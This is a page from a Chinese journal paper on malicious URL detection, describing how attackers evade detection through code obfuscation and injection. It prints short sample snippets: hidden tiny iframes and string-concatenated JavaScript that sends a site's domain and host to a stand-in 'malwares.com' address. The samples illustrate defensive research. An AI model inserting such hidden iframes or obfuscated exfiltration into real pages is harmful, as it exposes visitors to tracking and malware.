Page 295 - 《软件学报》2021年第9期
P. 295
吴森焱 等:融合多种特征的恶意 URL 检测方法 2919
采用的主要逃避检测手段包括页面代码混淆、页面代码注入、客户端环境探测和页面重定向跳转,而且恶意
URL 通常会将多种手段结合来进行逃避检测.
2.1 页面代码混淆
页面代码混淆通常用于开发者对页面代码进行保护和压缩,而攻击者采用代码混淆手段则是用于隐藏恶
意代码,从而逃避安全软件检测.恶意 URL 利用 JavaScript 脚本代码中的字符串操作函数对恶意代码进行加密
混淆和模糊处理,然后使用动态执行函数执行恶意代码.其中最常见的代码混淆方式是对页面中的字符串进行
的操作,如对字符串进行拆分、拼接和编码等.混淆后的恶意代码与原来的恶意代码完全不相同,给很多页面内
容分析方法造成了较大困难.如图 1 所示是一段混淆前的恶意代码,攻击者在页面上插入一个将宽度和高度设
置为 0.1、目的地址设置为恶意 URL 的隐藏的 iframe 标签.
〈html〉
〈iframe width=“0.1” height=“0.1”
src=“http://malwares.com? keys=domaint; referrer=host;”〉
〈/iframe〉
〈/html〉
Fig.1 Sample of unobfuscated malicious JS code
图 1 未混淆的 JS 恶意代码样本
而经过混淆后的恶意代码如图 2 所示,攻击者首先将要传输的字段信息利用 encodeURIComponent 函数进
行编码,然后将多次使用“+”将恶意 URL 的真实地址进行字符串拼接,实现混淆恶意 URL 地址,再通过
appendChild 函数对页面的 DOM 结构进行操作.恶意代码在执行的过程中,将拼接的恶意 iframe 标签插入到页
面中.基于以上对恶意代码的分析可以看出:代码混淆的特点主要体现在页面源代码中,攻击者在源代码中进行
混淆操作.
〈html〉
〈script language=“javascript” type=“text/javascript”〉
iframe.width=1−0.9; iframe.height=1−0.9;
var dm=document.domain; var host=location.host; var i=iframe′;
var exploit=encodeURIComponent(dm);
var ht=encodeURIComponent(host);
var ifr=document.createElement(′i);
iframe.src=“ht”+“tp://”+“malw”+“ares”+“.com”+“?keys”+“=exploit”+“;refe”+“rer=”+ht;
document.appendChild(ifr);
〈/script〉〈/html〉
Fig.2 The malicious JS code after obfuscation
图 2 进行混淆后后的恶意代码 JS 样本
2.2 页面代码注入
攻击者通常并不会直接将恶意代码插入页面中,而是利用页面代码注入的方式引入外部的恶意代码,其中,
将恶意代码注入网页中的方式包括使用 HTML 标签注入外部恶意代码和使用 JavaScript 脚本动态注入恶意代
码.相比于直接将恶意代码写在页面中,攻击者使用 HTML 标签注入外部恶意代码的方式更加隐蔽,如图 3 所示
是一段利用 iframe 标签来注入外部恶意代码的示例,使用 iframe 标签来加载外部恶意代码,并将标签的属性设
置为不可见状态,在用户不知情的情况下注入外部恶意代码.这些恶意标签直接在页面文件中,因此,通过分析
页面文件比较容易找到注入恶意代码的源标签.
〈html〉
〈iframe src=‘maliciousSite.js’ width=0 height=0〉〈/iframe〉 //隐藏标签引入外部代码
〈/html〉
Fig.3 Sample of JS forinjected external code injection by iframe tag
图 3 利用 iframe 标签来注入外部代码样本
除了使用 iframe 标签进行代码注入外,攻击者还会利用 JavaScript 脚本代码的动态特性,实现动态地注入恶